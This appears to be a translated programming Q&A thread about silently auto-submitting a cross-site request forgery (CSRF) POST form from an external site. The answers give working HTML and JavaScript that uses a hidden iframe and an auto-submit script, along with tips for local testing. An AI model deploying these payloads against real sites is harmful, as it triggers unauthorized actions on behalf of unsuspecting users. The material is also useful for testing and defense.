30

我有兴趣知道如何在没有用户通知的情况下静默提交 CSRF 的 POST 表单(重定向到 POSTed URL 的文档位置不是静默的)。

例子:

<form method='POST' action='http://vulnerablesite.com/form.php'>
<input type='hidden' name='criticaltoggle' value='true'
<input type='submit' value='submit'>
</form>

在外部站点上,我需要做什么才能自动且静默地触发此表单?

4

2 回答 2

57

一种解决方案是在如下框架中打开表单的操作iframe

<iframe style="display:none" name="csrf-frame"></iframe>
<form method='POST' action='http://vulnerablesite.com/form.php' target="csrf-frame" id="csrf-form">
  <input type='hidden' name='criticaltoggle' value='true'>
  <input type='submit' value='submit'>
</form>
<script>document.getElementById("csrf-form").submit()</script>
于 2013-07-30T17:41:00.610 回答
2

在本地测试 CSRF 时,您可能必须克服一些安全措施。

对于Blocked loading mixed active content错误,请确保攻击站点和目标站点的协议(http/https)相同,或者使用“//”作为攻击站点的协议。对本地主机的示例攻击:

<iframe style="display:none" id="csrf-frame-invisible" name="csrf-frame-invisible"></iframe>
<form style="display:none" method='POST' action='//localhost:4000' target="csrf-frame-invisible" name="csrf-form-invisible" id="csrf-form-invisible">
  <input type='hidden' name='boo' value='true'>
  <input type='submit' value='Submit'>
</form>

或者将 Firefox 设置security.mixed_content.block_active_contentfalse.


如果使用 Angular,安全选项会阻止您使用内联 javascript,因此您需要将提交移动到攻击者站点上的代码隐藏:

ngOnInit() {
   const myForm: HTMLFormElement = document.getElementById('csrf-form-invisible') as HTMLFormElement;
   myForm.submit();
}

最后,不得设置攻击者站点的标头“x-frame-options” 。

于 2018-06-04T11:05:52.693 回答